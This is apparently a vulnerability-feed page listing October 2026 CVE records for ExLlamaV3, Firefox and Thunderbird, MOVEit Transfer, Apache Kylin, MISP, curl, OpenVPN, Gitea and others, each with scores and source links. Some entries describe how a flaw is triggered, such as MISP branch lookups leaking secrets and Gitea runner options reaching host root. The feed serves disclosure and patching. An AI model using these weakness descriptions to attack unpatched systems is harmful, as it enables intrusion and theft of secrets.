ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds. A malicious model can force the code to read and invoke an out‑of‑range function pointer, resulting in a reproducible crash. Under specific conditions involving certain host memory layouts, it may be possible for an attacker to exploit this vulnerability to achieve controlled indirect kernel dispatch during model load.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Other issue in the DOM: File component.
https://kevwire.com/record/CVE-2026-109744
Other issue in the DOM: File component. (Oct 13, 2026).
Other issue in the DOM: File component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109744).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109744&date=2026-10-25).
Sources:
NVD CVE-2026-109744: https://nvd.nist.gov/vuln/detail/CVE-2026-109744
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109744&date=2026-10-25
Other issue in the DOM: File component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component.
https://kevwire.com/record/CVE-2026-109740
Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. (Oct 13, 2026).
Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 9.6 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109740).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109740&date=2026-10-25).
Sources:
NVD CVE-2026-109740: https://nvd.nist.gov/vuln/detail/CVE-2026-109740
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109740&date=2026-10-25
Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the Enterprise Policies component.
https://kevwire.com/record/CVE-2026-109737
Mitigation bypass in the Enterprise Policies component. (Oct 13, 2026).
Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109737).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109737&date=2026-10-25).
Sources:
NVD CVE-2026-109737: https://nvd.nist.gov/vuln/detail/CVE-2026-109737
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109737&date=2026-10-25
Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frame poisoning in the Layout component.
https://kevwire.com/record/CVE-2026-109736
Frame poisoning in the Layout component. (Oct 13, 2026).
Frame poisoning in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109736).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109736&date=2026-10-25).
Sources:
NVD CVE-2026-109736: https://nvd.nist.gov/vuln/detail/CVE-2026-109736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109736&date=2026-10-25
Frame poisoning in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the DOM: Security component.
https://kevwire.com/record/CVE-2026-109734
Mitigation bypass in the DOM: Security component. (Oct 13, 2026).
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109734).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109734&date=2026-10-25).
Sources:
NVD CVE-2026-109734: https://nvd.nist.gov/vuln/detail/CVE-2026-109734
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109734&date=2026-10-25
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JIT miscompilation in the JavaScript: WebAssembly component.
https://kevwire.com/record/CVE-2026-109720
JIT miscompilation in the JavaScript: WebAssembly component. (Oct 13, 2026).
JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109720).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109720&date=2026-10-25).
Sources:
NVD CVE-2026-109720: https://nvd.nist.gov/vuln/detail/CVE-2026-109720
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109720&date=2026-10-25
JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.
https://kevwire.com/record/CVE-2026-89073
Insufficient Session Expiration vulnerability in Progress MOVEit Transfer. (Oct 14, 2026).
Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89073).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89073&date=2026-10-25).
Sources:
NVD CVE-2026-89073: https://nvd.nist.gov/vuln/detail/CVE-2026-89073
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89073&date=2026-10-25
Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.
https://kevwire.com/record/CVE-2026-89074
Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer. (Oct 14, 2026).
Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89074).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89074&date=2026-10-25).
Sources:
NVD CVE-2026-89074: https://nvd.nist.gov/vuln/detail/CVE-2026-89074
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89074&date=2026-10-25
Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.
https://kevwire.com/record/CVE-2026-89075
Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer. (Oct 14, 2026).
Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.3 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89075).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89075&date=2026-10-25).
Sources:
NVD CVE-2026-89075: https://nvd.nist.gov/vuln/detail/CVE-2026-89075
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89075&date=2026-10-25
Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).
https://kevwire.com/record/CVE-2026-89076
Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module). (Oct 14, 2026).
Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89076).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89076&date=2026-10-25).
Sources:
NVD CVE-2026-89076: https://nvd.nist.gov/vuln/detail/CVE-2026-89076
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89076&date=2026-10-25
Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).
https://kevwire.com/record/CVE-2026-89077
Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module). (Oct 14, 2026).
Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89077).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89077&date=2026-10-25).
Sources:
NVD CVE-2026-89077: https://nvd.nist.gov/vuln/detail/CVE-2026-89077
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89077&date=2026-10-25
Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-68571
Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin. (Oct 16, 2026).
Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin. Special parameter in JDBC URL can lead to code injection. 
Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.





This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68571).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68571&date=2026-10-25).
Sources:
NVD CVE-2026-68571: https://nvd.nist.gov/vuln/detail/CVE-2026-68571
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68571&date=2026-10-25
Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin. Special parameter in JDBC URL can lead to code injection. 
Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.





This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.
https://kevwire.com/record/CVE-2026-112188
MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted. (Oct 19, 2026).
MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.

The settings lookup function resolves a dotted setting name to a node in the configuration tree. When a branch name (such as Security, MISP, or Plugin) is supplied instead of a specific leaf setting, the function returns the entire sub-tree. Because a branch node does not carry a redaction flag, the redaction check in the settings retrieval endpoint is bypassed, and the full branch contents are returned to the caller. This exposes sensitive values including the security salt, Redis connection passwords, and plugin API keys.

A second endpoint that edits server settings similarly reads the entire configuration store when a branch name is resolved, returning all settings to the caller.

The impact is disclosure of sensitive server configuration secrets to any user who can access the server settings endpoints.

Affected versions: <2.5.48.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112188).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112188&date=2026-10-25).
Sources:
NVD CVE-2026-112188: https://nvd.nist.gov/vuln/detail/CVE-2026-112188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112188&date=2026-10-25
MISP contains a vulnerability in its server settings lookup mechanism that allows an authenticated user to retrieve sensitive configuration data that should have been redacted.

The settings lookup function resolves a dotted setting name to a node in the configuration tree. When a branch name (such as Security, MISP, or Plugin) is supplied instead of a specific leaf setting, the function returns the entire sub-tree. Because a branch node does not carry a redaction flag, the redaction check in the settings retrieval endpoint is bypassed, and the full branch contents are returned to the caller. This exposes sensitive values including the security salt, Redis connection passwords, and plugin API keys.

A second endpoint that edits server settings similarly reads the entire configuration store when a branch name is resolved, returning all settings to the caller.

The impact is disclosure of sensitive server configuration secrets to any user who can access the server settings endpoints.

Affected versions: <2.5.48.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server
(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after
free of a `struct...
https://kevwire.com/record/CVE-2026-92392
During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server
(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after
free of a `struct... (Oct 14, 2026).
During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server
(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after
free of a `struct Curl_easy` object.
CVSS 8.1 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92392).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92392&date=2026-10-25).
Sources:
NVD CVE-2026-92392: https://nvd.nist.gov/vuln/detail/CVE-2026-92392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92392&date=2026-10-25
During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server
(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after
free of a `struct Curl_easy` object.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus
https://kevwire.com/record/CVE-2026-96424
Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus (Oct 16, 2026).
Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus
CVSS 7.8 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96424).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96424&date=2026-10-25).
Sources:
NVD CVE-2026-96424: https://nvd.nist.gov/vuln/detail/CVE-2026-96424
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96424&date=2026-10-25
Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field
https://kevwire.com/record/CVE-2026-84790
OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field (Oct 13, 2026).
OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field
CVSS 7.6 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84790).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84790&date=2026-10-25).
Sources:
NVD CVE-2026-84790: https://nvd.nist.gov/vuln/detail/CVE-2026-84790
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84790&date=2026-10-25
OpenVPN 2.7_alpha1 through 2.7.7 allows remote authenticated users to impersonate others via a crafted certificate subject field

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.
https://kevwire.com/record/CVE-2026-82715
Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server. (Oct 14, 2026).
Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.

This issue affects Hitachi Disk Array Driver for AIX: from 01-00 before 01-23-/A; Hitachi Disk Array Driver for Virtual I/O Server: from 01-04 before 01-23-/A.
CVSS 7.9 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82715).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82715&date=2026-10-25).
Sources:
NVD CVE-2026-82715: https://nvd.nist.gov/vuln/detail/CVE-2026-82715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82715&date=2026-10-25
Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.

This issue affects Hitachi Disk Array Driver for AIX: from 01-00 before 01-23-/A; Hitachi Disk Array Driver for Virtual I/O Server: from 01-04 before 01-23-/A.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account.
https://kevwire.com/record/CVE-2026-73804
Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account. (Oct 14, 2026).
Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account. API requests signed with the corresponding private key authenticate as that account through HTTP Signature without API token scope information, causing route-level token scope checks to be skipped. This converts a user-scoped token into an unscoped API authentication method while retaining the account's normal role and repository permissions.
CVSS 8.1 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73804).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73804&date=2026-10-25).
Sources:
NVD CVE-2026-73804: https://nvd.nist.gov/vuln/detail/CVE-2026-73804
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73804&date=2026-10-25
Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account. API requests signed with the corresponding private key authenticate as that account through HTTP Signature without API token scope information, causing route-level token scope checks to be skipped. This converts a user-scoped token into an unscoped API authentication method while retaining the account's normal role and repository permissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled.
https://kevwire.com/record/CVE-2026-73802
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. (Oct 14, 2026).
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.
CVSS 8.8 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73802).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73802&date=2026-10-25).
Sources:
NVD CVE-2026-73802: https://nvd.nist.gov/vuln/detail/CVE-2026-73802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73802&date=2026-10-25
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event.
https://kevwire.com/record/CVE-2026-73800
Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event. (Oct 14, 2026).
Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event. A fork author can modify a referenced reusable workflow so attacker-controlled code executes with the repository and organization secrets available to that event. Exploitation requires a base workflow that calls a local reusable workflow, and bypasses the intended separation between trusted base code and untrusted fork code.
CVSS 8.8 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73800).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73800&date=2026-10-25).
Sources:
NVD CVE-2026-73800: https://nvd.nist.gov/vuln/detail/CVE-2026-73800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
